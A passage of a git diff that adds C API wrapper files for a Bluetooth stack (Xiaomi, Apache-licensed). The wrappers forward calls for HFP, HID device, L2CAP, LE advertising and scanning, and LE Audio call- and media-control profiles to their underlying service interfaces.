uint8_t num_active, uint8_t num_held, + hfp_ag_call_state_t call_state, hfp_call_addrtype_t type, + const char* number, const char* name) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->phone_state_change(addr, num_active, num_held, call_state, type, number, name); +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_notify_device_status)(bt_instance_t* ins, bt_address_t* addr, + hfp_network_state_t network, hfp_roaming_state_t roam, + uint8_t signal, uint8_t battery) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->device_status_changed(addr, network, roam, signal, battery); +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_volume_control)(bt_instance_t* ins, bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->volume_control(addr, type, volume); +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_send_at_command)(bt_instance_t* ins, bt_address_t* addr, const char* at_command) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->send_at_command(addr, at_command); +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_send_vendor_specific_at_command)(bt_instance_t* ins, bt_address_t* addr, const char* command, const char* value) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->send_vendor_specific_at_command(addr, command, value); +} + +bt_status_t BTSYMBOLS(bt_hfp_ag_send_clcc_response)(bt_instance_t* ins, bt_address_t* addr, + uint32_t index, hfp_call_direction_t dir, hfp_ag_call_state_t call, hfp_call_mode_t mode, + hfp_call_mpty_type_t mpty, hfp_call_addrtype_t type, const char* number) +{ + hfp_ag_interface_t* profile = get_profile_service(); + + return profile->send_clcc_response(addr, index, dir, call, mode, mpty, type, number); +} \ No newline at end of file diff --git a/framework/api/bt_hfp_hf.c b/framework/api/bt_hfp_hf.c new file mode 100644 index 0000000000000000000000000000000000000000..840b71bdc96d8262f59097191d628b6f133a9973 --- /dev/null +++ b/framework/api/bt_hfp_hf.c @@ -0,0 +1,212 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "hfp_hf_api" + +#include "bt_hfp_hf.h" +#include "bt_internal.h" +#include "bt_profile.h" +#include "hfp_hf_service.h" +#include "service_manager.h" +#include "utils/log.h" +#include <stdint.h> + +static hfp_hf_interface_t* get_profile_service(void) +{ + return (hfp_hf_interface_t*)service_manager_get_profile(PROFILE_HFP_HF); +} + +void* BTSYMBOLS(bt_hfp_hf_register_callbacks)(bt_instance_t* ins, const hfp_hf_callbacks_t* callbacks) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->register_callbacks(NULL, (hfp_hf_callbacks_t*)callbacks); +} + +bool BTSYMBOLS(bt_hfp_hf_unregister_callbacks)(bt_instance_t* ins, void* cookie) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->unregister_callbacks(NULL, cookie); +} + +bool BTSYMBOLS(bt_hfp_hf_is_connected)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->is_connected(addr); +} + +bool BTSYMBOLS(bt_hfp_hf_is_audio_connected)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->is_audio_connected(addr); +} + +profile_connection_state_t BTSYMBOLS(bt_hfp_hf_get_connection_state)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->get_connection_state(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_connect)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->connect(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_disconnect)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->disconnect(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_set_connection_policy)(bt_instance_t* ins, bt_address_t* addr, connection_policy_t policy) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->set_connection_policy(addr, policy); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_connect_audio)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->connect_audio(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_disconnect_audio)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->disconnect_audio(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_start_voice_recognition)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->start_voice_recognition(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_stop_voice_recognition)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->stop_voice_recognition(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_dial)(bt_instance_t* ins, bt_address_t* addr, const char* number) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->dial(addr, number); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_dial_memory)(bt_instance_t* ins, bt_address_t* addr, uint32_t memory) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->dial_memory(addr, memory); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_redial)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->redial(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_accept_call)(bt_instance_t* ins, bt_address_t* addr, hfp_call_accept_t flag) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->accept_call(addr, flag); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_reject_call)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->reject_call(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_hold_call)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->hold_call(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_terminate_call)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->terminate_call(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_control_call)(bt_instance_t* ins, bt_address_t* addr, hfp_call_control_t chld, uint8_t index) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->control_call(addr, chld, index); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_query_current_calls)(bt_instance_t* ins, bt_address_t* addr, hfp_current_call_t** calls, int* num, bt_allocator_t allocator) +{ + hfp_hf_interface_t* profile = get_profile_service(); + + return profile->query_current_calls(addr, calls, num, allocator); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_send_at_cmd)(bt_instance_t* ins, bt_address_t* addr, const char* cmd) +{ + hfp_hf_interface_t* profile = get_profile_service(); + return profile->send_at_cmd(addr, cmd); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_update_battery_level)(bt_instance_t* ins, bt_address_t* addr, uint8_t level) +{ + hfp_hf_interface_t* profile = get_profile_service(); + return profile->update_battery_level(addr, level); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_volume_control)(bt_instance_t* ins, bt_address_t* addr, hfp_volume_type_t type, uint8_t volume) +{ + hfp_hf_interface_t* profile = get_profile_service(); + return profile->volume_control(addr, type, volume); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_send_dtmf)(bt_instance_t* ins, bt_address_t* addr, char dtmf) +{ + hfp_hf_interface_t* profile = get_profile_service(); + return profile->send_dtmf(addr, dtmf); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_get_subscriber_number)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + return profile->get_subscriber_number(addr); +} + +bt_status_t BTSYMBOLS(bt_hfp_hf_query_current_calls_with_callback)(bt_instance_t* ins, bt_address_t* addr) +{ + hfp_hf_interface_t* profile = get_profile_service(); + return profile->query_current_calls_with_callback(addr); +} diff --git a/framework/api/bt_hid_device.c b/framework/api/bt_hid_device.c new file mode 100644 index 0000000000000000000000000000000000000000..3d1bb6c29b0b8bed1db529eff5f76faba05e7483 --- /dev/null +++ b/framework/api/bt_hid_device.c @@ -0,0 +1,100 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "hid_device_api" + +#include <stdint.h> + +#include "bt_hid_device.h" +#include "bt_internal.h" +#include "bt_profile.h" +#include "hid_device_service.h" +#include "service_manager.h" +#include "utils/log.h" + +static hid_device_interface_t* get_profile_service(void) +{ + return (hid_device_interface_t*)service_manager_get_profile(PROFILE_HID_DEV); +} + +void* BTSYMBOLS(bt_hid_device_register_callbacks)(bt_instance_t* ins, const hid_device_callbacks_t* callbacks) +{ + hid_device_interface_t* profile = get_profile_service(); + + return profile->register_callbacks(NULL, callbacks); +} + +bool BTSYMBOLS(bt_hid_device_unregister_callbacks)(bt_instance_t* ins, void* cookie) +{ + hid_device_interface_t* profile = get_profile_service(); + + return profile->unregister_callbacks(NULL, cookie); +} + +bt_status_t BTSYMBOLS(bt_hid_device_register_app)(bt_instance_t* ins, hid_device_sdp_settings_t* sdp, bool le_hid) +{ + hid_device_interface_t* profile = get_profile_service(); + + return profile->register_app(sdp, le_hid); +} + +bt_status_t BTSYMBOLS(bt_hid_device_unregister_app)(bt_instance_t* ins) +{ + hid_device_interface_t* profile = get_profile_service(); + + return profile->unregister_app(); +} + +bt_status_t BTSYMBOLS(bt_hid_device_connect)(bt_instance_t* ins, bt_address_t* addr) +{ + hid_device_interface_t* profile = get_profile_service(); + + return profile->connect(addr); +} + +bt_status_t BTSYMBOLS(bt_hid_device_disconnect)(bt_instance_t* ins, bt_address_t* addr) +{ + hid_device_interface_t* profile = get_profile_service(); + + return profile->disconnect(addr); +} + +bt_status_t BTSYMBOLS(bt_hid_device_send_report)(bt_instance_t* ins, bt_address_t* addr, uint8_t rpt_id, uint8_t* rpt_data, int rpt_size) +{ + hid_device_interface_t* profile = get_profile_service(); + + return profile->send_report(addr, rpt_id, rpt_data, rpt_size); +} + +bt_status_t BTSYMBOLS(bt_hid_device_response_report)(bt_instance_t* ins, bt_address_t* addr, uint8_t rpt_type, uint8_t* rpt_data, int rpt_size) +{ + hid_device_interface_t* profile = get_profile_service(); + + return profile->response_report(addr, rpt_type, rpt_data, rpt_size); +} + +bt_status_t BTSYMBOLS(bt_hid_device_report_error)(bt_instance_t* ins, bt_address_t* addr, hid_status_error_t error) +{ + hid_device_interface_t* profile = get_profile_service(); + + return profile->report_error(addr, error); +} + +bt_status_t BTSYMBOLS(bt_hid_device_virtual_unplug)(bt_instance_t* ins, bt_address_t* addr) +{ + hid_device_interface_t* profile = get_profile_service(); + + return profile->virtual_unplug(addr); +} diff --git a/framework/api/bt_l2cap.c b/framework/api/bt_l2cap.c new file mode 100644 index 0000000000000000000000000000000000000000..d0cf00ead6777ca10e0ae37f868d3c8ecd662c8d --- /dev/null +++ b/framework/api/bt_l2cap.c @@ -0,0 +1,58 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "L2CAP_api" + +#include <stdint.h> + +#include "bt_internal.h" +#include "bt_l2cap.h" +#include "l2cap_service.h" +#include "utils/log.h" + +void* BTSYMBOLS(bt_l2cap_register_callbacks)(bt_instance_t* ins, const l2cap_callbacks_t* callbacks) +{ + return l2cap_register_callbacks(ins, callbacks); +} + +bool BTSYMBOLS(bt_l2cap_unregister_callbacks)(bt_instance_t* ins, void* handle) +{ + return l2cap_unregister_callbacks(NULL, handle); +} + +bt_status_t BTSYMBOLS(bt_l2cap_listen)(bt_instance_t* ins, void* handle, l2cap_config_option_t* option) +{ + return l2cap_listen_channel(handle, option); +} + +bt_status_t BTSYMBOLS(bt_l2cap_connect)(bt_instance_t* ins, void* handel, bt_address_t* addr, l2cap_config_option_t* option) +{ + return l2cap_connect_channel(handel, addr, option); +} + +bt_status_t BTSYMBOLS(bt_l2cap_disconnect)(bt_instance_t* ins, void* handle, uint16_t id) +{ + return l2cap_disconnect_channel(handle, id); +} + +bt_status_t BTSYMBOLS(bt_l2cap_stop_listen)(bt_instance_t* ins, void* handle, uint16_t psm) +{ + return l2cap_stop_listen_channel(handle, BT_TRANSPORT_BLE, psm); +} + +bt_status_t BTSYMBOLS(bt_l2cap_stop_listen_with_transport)(bt_instance_t* ins, void* handle, bt_transport_t transport, uint16_t psm) +{ + return l2cap_stop_listen_channel(handle, transport, psm); +} \ No newline at end of file diff --git a/framework/api/bt_le_advertiser.c b/framework/api/bt_le_advertiser.c new file mode 100644 index 0000000000000000000000000000000000000000..6180ae2b47d25d0ca0a2d5311722ff0e3a1a60fc --- /dev/null +++ b/framework/api/bt_le_advertiser.c @@ -0,0 +1,52 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "adv" + +#include <stdlib.h> + +#include "advertising.h" +#include "bluetooth.h" +#include "bt_internal.h" +#include "bt_le_advertiser.h" +#include "bt_list.h" +#include "utils/log.h" + +bt_advertiser_t* BTSYMBOLS(bt_le_start_advertising)(bt_instance_t* ins, + ble_adv_params_t* params, + uint8_t* adv_data, + uint16_t adv_len, + uint8_t* scan_rsp_data, + uint16_t scan_rsp_len, + advertiser_callback_t* cbs) +{ + return start_advertising(NULL, params, adv_data, adv_len, + scan_rsp_data, scan_rsp_len, cbs); +} + +void BTSYMBOLS(bt_le_stop_advertising)(bt_instance_t* ins, bt_advertiser_t* adver) +{ + stop_advertising(adver); +} + +void BTSYMBOLS(bt_le_stop_advertising_id)(bt_instance_t* ins, uint8_t adv_id) +{ + stop_advertising_id(adv_id); +} + +bool BTSYMBOLS(bt_le_advertising_is_supported)(bt_instance_t* ins) +{ + return advertising_is_supported(); +} diff --git a/framework/api/bt_le_scan.c b/framework/api/bt_le_scan.c new file mode 100644 index 0000000000000000000000000000000000000000..a7eff1b37b8f0b0de2364349d78a8245cde05009 --- /dev/null +++ b/framework/api/bt_le_scan.c @@ -0,0 +1,55 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "scan" + +#include <stdlib.h> + +#include "bluetooth.h" +#include "bt_internal.h" +#include "bt_le_scan.h" +#include "bt_list.h" +#include "scan_manager.h" +#include "utils/log.h" + +bt_scanner_t* BTSYMBOLS(bt_le_start_scan)(bt_instance_t* ins, const scanner_callbacks_t* cbs) +{ + return scanner_start_scan(NULL, cbs); +} + +bt_scanner_t* BTSYMBOLS(bt_le_start_scan_settings)(bt_instance_t* ins, + ble_scan_settings_t* settings, + const scanner_callbacks_t* cbs) +{ + return scanner_start_scan_settings(NULL, settings, cbs); +} + +bt_scanner_t* BTSYMBOLS(bt_le_start_scan_with_filters)(bt_instance_t* ins, + ble_scan_settings_t* settings, + ble_scan_filter_t* filter, + const scanner_callbacks_t* cbs) +{ + return scanner_start_scan_with_filters(NULL, settings, filter, cbs); +} + +void BTSYMBOLS(bt_le_stop_scan)(bt_instance_t* ins, bt_scanner_t* scanner) +{ + scanner_stop_scan(scanner); +} + +bool BTSYMBOLS(bt_le_scan_is_supported)(bt_instance_t* ins) +{ + return scan_is_supported(); +} diff --git a/framework/api/bt_lea_ccp.c b/framework/api/bt_lea_ccp.c new file mode 100644 index 0000000000000000000000000000000000000000..5aa5d71ecfc87169d277a248415dea7f9e083a65 --- /dev/null +++ b/framework/api/bt_lea_ccp.c @@ -0,0 +1,160 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include "bt_lea_ccp.h" +#include "bt_profile.h" +#include "lea_ccp_service.h" +#include "service_manager.h" +#include "utils/log.h" +#include <stdint.h> + +static lea_ccp_interface_t* get_profile_service(void) +{ + return (lea_ccp_interface_t*)service_manager_get_profile(PROFILE_LEAUDIO_CCP); +} + +void* bt_lea_ccp_register_callbacks(bt_instance_t* ins, const lea_ccp_callbacks_t* callbacks) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->register_callbacks(NULL, (lea_ccp_callbacks_t*)callbacks); +} + +bool bt_lea_ccp_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->unregister_callbacks(NULL, cookie); +} + +bt_status_t bt_lea_ccp_read_bearer_provider_name(bt_instance_t* ins, bt_address_t* addr) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->read_bearer_provider_name(addr); +} + +bt_status_t bt_lea_ccp_read_bearer_uci(bt_instance_t* ins, bt_address_t* addr) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->read_bearer_uci(addr); +} + +bt_status_t bt_lea_ccp_read_bearer_technology(bt_instance_t* ins, bt_address_t* addr) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->read_bearer_technology(addr); +} + +bt_status_t bt_lea_ccp_read_bearer_uri_schemes_supported_list(bt_instance_t* ins, bt_address_t* addr) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->read_bearer_uri_schemes_supported_list(addr); +} + +bt_status_t bt_lea_ccp_read_bearer_signal_strength(bt_instance_t* ins, bt_address_t* addr) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->read_bearer_signal_strength(addr); +} + +bt_status_t bt_lea_ccp_read_bearer_signal_strength_report_interval(bt_instance_t* ins, bt_address_t* addr) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->read_bearer_signal_strength_report_interval(addr); +} + +bt_status_t bt_lea_ccp_read_content_control_id(bt_instance_t* ins, bt_address_t* addr) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->read_content_control_id(addr); +} + +bt_status_t bt_lea_ccp_read_status_flags(bt_instance_t* ins, bt_address_t* addr) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->read_status_flags(addr); +} + +bt_status_t bt_lea_ccp_read_call_control_optional_opcodes(bt_instance_t* ins, bt_address_t* addr) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->read_call_control_optional_opcodes(addr); +} + +bt_status_t bt_lea_ccp_read_incoming_call(bt_instance_t* ins, bt_address_t* addr) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->read_incoming_call(addr); +} + +bt_status_t bt_lea_ccp_read_incoming_call_target_bearer_uri(bt_instance_t* ins, bt_address_t* addr) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->read_incoming_call_target_bearer_uri(addr); +} + +bt_status_t bt_lea_ccp_read_call_state(bt_instance_t* ins, bt_address_t* addr) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->read_call_state(addr); +} + +bt_status_t bt_lea_ccp_read_bearer_list_current_calls(bt_instance_t* ins, bt_address_t* addr) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->read_bearer_list_current_calls(addr); +} + +bt_status_t bt_lea_ccp_read_call_friendly_name(bt_instance_t* ins, bt_address_t* addr) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->read_call_friendly_name(addr); +} + +bt_status_t bt_lea_ccp_call_control_by_index(bt_instance_t* ins, bt_address_t* addr, uint8_t opcode) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->call_control_by_index(addr, opcode); +} + +bt_status_t bt_lea_ccp_originate_call(bt_instance_t* ins, bt_address_t* addr, uint8_t* uri) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->originate_call(addr, uri); +} + +bt_status_t bt_lea_ccp_join_calls(bt_instance_t* ins, bt_address_t* addr, uint8_t number, + uint8_t* call_indexes) +{ + lea_ccp_interface_t* profile = get_profile_service(); + + return profile->join_calls(addr, number, call_indexes); +} diff --git a/framework/api/bt_lea_client.c b/framework/api/bt_lea_client.c new file mode 100644 index 0000000000000000000000000000000000000000..934427830ce195d5888915fb670643871bafeb7a --- /dev/null +++ b/framework/api/bt_lea_client.c @@ -0,0 +1,141 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ + +#include <stdint.h> + +#include "bt_lea_server.h" +#include "bt_profile.h" +#include "lea_client_service.h" +#include "service_manager.h" + +static lea_client_interface_t* get_profile_service(void) +{ + return (lea_client_interface_t*)service_manager_get_profile( + PROFILE_LEAUDIO_CLIENT); +} + +void* bt_lea_client_register_callbacks(bt_instance_t* ins, + const lea_client_callbacks_t* callbacks) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->register_callbacks(NULL, callbacks); +} + +bool bt_lea_client_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->unregister_callbacks(NULL, cookie); +} + +bt_status_t bt_lea_client_connect(bt_instance_t* ins, bt_address_t* addr) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->connect(addr); +} + +bt_status_t bt_lea_client_connect_audio(bt_instance_t* ins, bt_address_t* addr, uint8_t context) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->connect_audio(addr, context); +} + +bt_status_t bt_lea_client_disconnect(bt_instance_t* ins, bt_address_t* addr) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->disconnect(addr); +} + +bt_status_t bt_lea_client_disconnect_audio(bt_instance_t* ins, bt_address_t* addr) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->disconnect_audio(addr); +} + +profile_connection_state_t bt_lea_client_get_connection_state(bt_instance_t* ins, bt_address_t* addr) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->get_connection_state(addr); +} + +bt_status_t bt_lea_client_get_group_id(bt_instance_t* ins, bt_address_t* addr, uint32_t* group_id) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->get_group_id(addr, group_id); +} + +bt_status_t bt_lea_client_discovery_member_start(bt_instance_t* ins, uint32_t group_id) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->discovery_member_start(group_id); +} + +bt_status_t bt_lea_client_discovery_member_stop(bt_instance_t* ins, uint32_t group_id) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->discovery_member_stop(group_id); +} + +bt_status_t bt_lea_client_group_add_member(bt_instance_t* ins, uint32_t group_id, bt_address_t* addr) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->group_add_member(group_id, addr); +} + +bt_status_t bt_lea_client_group_remove_member(bt_instance_t* ins, uint32_t group_id, bt_address_t* addr) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->group_remove_member(group_id, addr); +} + +bt_status_t bt_lea_client_group_connect_audio(bt_instance_t* ins, uint32_t group_id, uint8_t context) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->group_connect_audio(group_id, context); +} + +bt_status_t bt_lea_client_group_disconnect_audio(bt_instance_t* ins, uint32_t group_id) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->group_disconnect_audio(group_id); +} + +bt_status_t bt_lea_client_group_lock(bt_instance_t* ins, uint32_t group_id) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->group_lock(group_id); +} + +bt_status_t bt_lea_client_group_unlock(bt_instance_t* ins, uint32_t group_id) +{ + lea_client_interface_t* profile = get_profile_service(); + + return profile->group_unlock(group_id); +} diff --git a/framework/api/bt_lea_mcp.c b/framework/api/bt_lea_mcp.c new file mode 100644 index 0000000000000000000000000000000000000000..0545324cff91524f3331ace6cf897933503b133a --- /dev/null +++ b/framework/api/bt_lea_mcp.c @@ -0,0 +1,61 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include "bt_lea_mcp.h" +#include "bt_profile.h" +#include "lea_mcp_service.h" +#include "service_manager.h" +#include "utils/log.h" +#include <stdint.h> + +static lea_mcp_interface_t* get_profile_service(void) +{ + return (lea_mcp_interface_t*)service_manager_get_profile(PROFILE_LEAUDIO_MCP); +} + +void* bt_lea_mcp_register_callbacks(bt_instance_t* ins, const lea_mcp_callbacks_t* callbacks) +{ + lea_mcp_interface_t* profile = get_profile_service(); + + return profile->set_callbacks(NULL, (lea_mcp_callbacks_t*)callbacks); +} + +bool bt_lea_mcp_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + lea_mcp_interface_t* profile = get_profile_service(); + + return profile->reset_callbacks(NULL, cookie); +} + +bt_status_t bt_lea_mcp_read_info(bt_instance_t* ins, bt_address_t* addr, uint8_t opcode) +{ + lea_mcp_interface_t* profile = get_profile_service(); + + return profile->read_remote_mcs_info(addr, opcode); +} + +bt_status_t bt_lea_mcp_media_control_request(bt_instance_t* ins, bt_address_t* addr, uint32_t opcode, int32_t n) +{ + lea_mcp_interface_t* profile = get_profile_service(); + + return profile->media_control_request(addr, opcode, n); +} + +bt_status_t bt_lea_mcp_search_control_request(bt_instance_t* ins, bt_address_t* addr, uint8_t number, uint32_t type, uint8_t* parameter) +{ + lea_mcp_interface_t* profile = get_profile_service(); + + return profile->search_control_request(addr, number, type, parameter); +} diff --git a/framework/api/bt_lea_mcs.c b/framework/api/bt_lea_mcs.c new file mode 100644 index 0000000000000000000000000000000000000000..e52a6d72c1e7becb14787aa1111d5328bec9a433 --- /dev/null +++ b/framework/api/bt_lea_mcs.c @@ -0,0 +1,145 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#include "bt_lea_mcs.h" +#include "bt_profile.h" +#include "lea_mcs_service.h" +#include "service_manager.h" +#include "utils/log.h" +#include <stdint.h> + +static lea_mcs_interface_t* get_profile_service(void) +{ + return (lea_mcs_interface_t*)service_manager_get_profile(PROFILE_LEAUDIO_MCS); +} + +void* bt_lea_mcs_register_callbacks(bt_instance_t* ins, const lea_mcs_callbacks_t* callbacks) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->set_callbacks(NULL, (lea_mcs_callbacks_t*)callbacks); +} + +bool bt_lea_mcs_unregister_callbacks(bt_instance_t* ins, void* cookie) +{ + lea_mcs_interface_t* profile = get_profile_service(); + + return profile->reset_callbacks(NULL, cookie); +} + 